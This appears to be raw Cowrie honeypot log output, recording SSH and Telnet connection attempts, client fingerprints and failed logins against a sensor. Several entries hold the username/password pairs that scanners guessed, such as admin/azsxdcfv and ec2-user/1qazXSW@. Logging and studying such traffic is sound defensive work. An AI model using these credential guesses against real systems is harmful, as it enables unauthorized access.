{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:32.826781Z","src_ip":"115.68.208.117","session":"a2380b63fd40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"jens","message":"login attempt [admin/jens] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:33.662446Z","src_ip":"115.68.208.117","session":"a2380b63fd40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44048,"dst_ip":"159.203.135.109","dst_port":23,"session":"a446b4f3ce8f","protocol":"telnet","message":"New connection: 38.60.198.128:44048 (159.203.135.109:23) [session: a446b4f3ce8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:33.820738Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44908,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e1c518457c8","protocol":"telnet","message":"New connection: 38.60.198.128:44908 (159.203.135.109:23) [session: 1e1c518457c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:34.664563Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:34.882047Z","src_ip":"115.68.208.117","session":"a2380b63fd40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.01941752433777,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:35.378423Z","src_ip":"38.60.198.128","session":"51915bcbb395","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.896776914596558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:36.678030Z","src_ip":"198.199.94.79","session":"16bf3bd75a44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.46921515464783,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:37.272179Z","src_ip":"38.54.119.93","session":"ae1f196a66bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49334,"dst_ip":"159.203.135.109","dst_port":23,"session":"96b5b3301076","protocol":"telnet","message":"New connection: 38.60.198.128:49334 (159.203.135.109:23) [session: 96b5b3301076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:38.524190Z"}
{"eventid":"cowrie.session.closed","duration":45.79409742355347,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:38.906424Z","src_ip":"38.60.198.128","session":"879dd171a0f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.439120054244995,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:40.434512Z","src_ip":"38.60.198.128","session":"2896a1e6bdc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52320,"dst_ip":"159.203.135.109","dst_port":23,"session":"ced6bfbcddff","protocol":"telnet","message":"New connection: 38.60.198.128:52320 (159.203.135.109:23) [session: ced6bfbcddff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:41.031474Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.179.209.59","src_port":41403,"dst_ip":"159.203.135.109","dst_port":23,"session":"a590db627597","protocol":"telnet","message":"New connection: 60.179.209.59:41403 (159.203.135.109:23) [session: a590db627597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:41.326004Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53562,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5aedc4e12e5","protocol":"telnet","message":"New connection: 38.60.198.128:53562 (159.203.135.109:23) [session: e5aedc4e12e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:42.027858Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55854,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddbf1fd13ab1","protocol":"telnet","message":"New connection: 38.60.198.128:55854 (159.203.135.109:23) [session: ddbf1fd13ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:43.904139Z"}
{"eventid":"cowrie.session.closed","duration":44.45592904090881,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:44.522341Z","src_ip":"38.60.198.128","session":"7d846ca22297","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56562,"dst_ip":"159.203.135.109","dst_port":23,"session":"02261c44b2a1","protocol":"telnet","message":"New connection: 38.60.198.128:56562 (159.203.135.109:23) [session: 02261c44b2a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:45.510984Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36722,"dst_ip":"10.17.0.5","dst_port":23,"session":"7abf7ec7f5ac","protocol":"telnet","message":"New connection: 38.54.119.93:36722 (10.17.0.5:23) [session: 7abf7ec7f5ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:45.517973Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":34592,"dst_ip":"10.17.0.5","dst_port":22,"session":"58129584ff08","protocol":"ssh","message":"New connection: 186.113.245.157:34592 (10.17.0.5:22) [session: 58129584ff08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:48.288765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:48.293838Z","src_ip":"186.113.245.157","session":"58129584ff08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:48.384727Z","src_ip":"186.113.245.157","session":"58129584ff08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00183916091919,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:48.511467Z","src_ip":"38.60.198.128","session":"ed01b64b788e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"bobbi","message":"login attempt [admin/bobbi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:48.781161Z","src_ip":"186.113.245.157","session":"58129584ff08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.9376060962677,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:49.093681Z","src_ip":"38.60.198.128","session":"1ff7f48ef5e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:49.872926Z","src_ip":"186.113.245.157","session":"58129584ff08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.928964853286743,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:50.446854Z","src_ip":"38.54.119.93","session":"7abf7ec7f5ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36960,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cee3c30e98e","protocol":"telnet","message":"New connection: 38.60.198.128:36960 (159.203.135.109:23) [session: 0cee3c30e98e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:52.752450Z"}
{"eventid":"cowrie.session.closed","duration":12.78839659690857,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:54.114276Z","src_ip":"60.179.209.59","session":"a590db627597","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":43874,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cb8449aac12","protocol":"ssh","message":"New connection: 191.101.59.69:43874 (159.203.135.109:22) [session: 3cb8449aac12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:55.502101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:55.584700Z","src_ip":"191.101.59.69","session":"3cb8449aac12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:56.305728Z","src_ip":"191.101.59.69","session":"3cb8449aac12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41306,"dst_ip":"159.203.135.109","dst_port":23,"session":"c47a3cd969ad","protocol":"telnet","message":"New connection: 38.60.198.128:41306 (159.203.135.109:23) [session: c47a3cd969ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:57.628649Z"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"1qazXSW@","message":"login attempt [ec2-user/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:58.504624Z","src_ip":"191.101.59.69","session":"3cb8449aac12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:59.687613Z","src_ip":"191.101.59.69","session":"3cb8449aac12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46496,"dst_ip":"159.203.135.109","dst_port":23,"session":"207595cbefba","protocol":"telnet","message":"New connection: 38.60.198.128:46496 (159.203.135.109:23) [session: 207595cbefba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:00.646209Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48120,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fb52ac38e49","protocol":"telnet","message":"New connection: 38.60.198.128:48120 (159.203.135.109:23) [session: 7fb52ac38e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:01.015340Z"}
{"eventid":"cowrie.session.closed","duration":48.099437952041626,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:02.040196Z","src_ip":"38.60.198.128","session":"018e1f2a3419","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50234,"dst_ip":"159.203.135.109","dst_port":23,"session":"b79aef5adebb","protocol":"telnet","message":"New connection: 38.60.198.128:50234 (159.203.135.109:23) [session: b79aef5adebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:03.813237Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":55264,"dst_ip":"159.203.135.109","dst_port":22,"session":"a74b6cd16a53","protocol":"ssh","message":"New connection: 198.98.56.205:55264 (159.203.135.109:22) [session: a74b6cd16a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:04.097173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:04.103282Z","src_ip":"198.98.56.205","session":"a74b6cd16a53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:04.108759Z","src_ip":"198.98.56.205","session":"a74b6cd16a53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"azsxdcfv","message":"login attempt [admin/azsxdcfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:04.164062Z","src_ip":"198.98.56.205","session":"a74b6cd16a53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:05.176967Z","src_ip":"198.98.56.205","session":"a74b6cd16a53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.93508195877075,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:05.639665Z","src_ip":"38.60.198.128","session":"ec47693932da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.50290083885193,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:07.368659Z","src_ip":"38.60.198.128","session":"3a441cf8df72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.94374680519104,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:08.205164Z","src_ip":"38.60.198.128","session":"7b11dece7da2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.897540807724,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:12.217955Z","src_ip":"38.60.198.128","session":"0267a3b70337","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34576,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eff8d3bdda9","protocol":"telnet","message":"New connection: 38.60.198.128:34576 (159.203.135.109:23) [session: 1eff8d3bdda9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:12.715607Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":39858,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0e9bafdbed8","protocol":"ssh","message":"New connection: 186.10.86.130:39858 (159.203.135.109:22) [session: b0e9bafdbed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:12.890476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:12.895380Z","src_ip":"186.10.86.130","session":"b0e9bafdbed8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:13.040401Z","src_ip":"186.10.86.130","session":"b0e9bafdbed8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"p@ssword","message":"login attempt [git/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:13.643395Z","src_ip":"186.10.86.130","session":"b0e9bafdbed8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55490,"dst_ip":"10.17.0.5","dst_port":23,"session":"887d99411d56","protocol":"telnet","message":"New connection: 38.54.119.93:55490 (10.17.0.5:23) [session: 887d99411d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:13.780660Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36218,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cfaa99459fb","protocol":"telnet","message":"New connection: 38.60.198.128:36218 (159.203.135.109:23) [session: 6cfaa99459fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:14.139274Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:14.790889Z","src_ip":"186.10.86.130","session":"b0e9bafdbed8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.12093901634216,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:14.941543Z","src_ip":"38.60.198.128","session":"a446b4f3ce8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60730,"dst_ip":"159.203.135.109","dst_port":23,"session":"b51a9751a9fd","protocol":"telnet","message":"New connection: 38.60.198.128:60730 (159.203.135.109:23) [session: b51a9751a9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:15.111311Z"}
{"eventid":"cowrie.session.closed","duration":48.30168533325195,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:15.349143Z","src_ip":"38.60.198.128","session":"bdc65e3c5d5f","protocol":"telnet"}
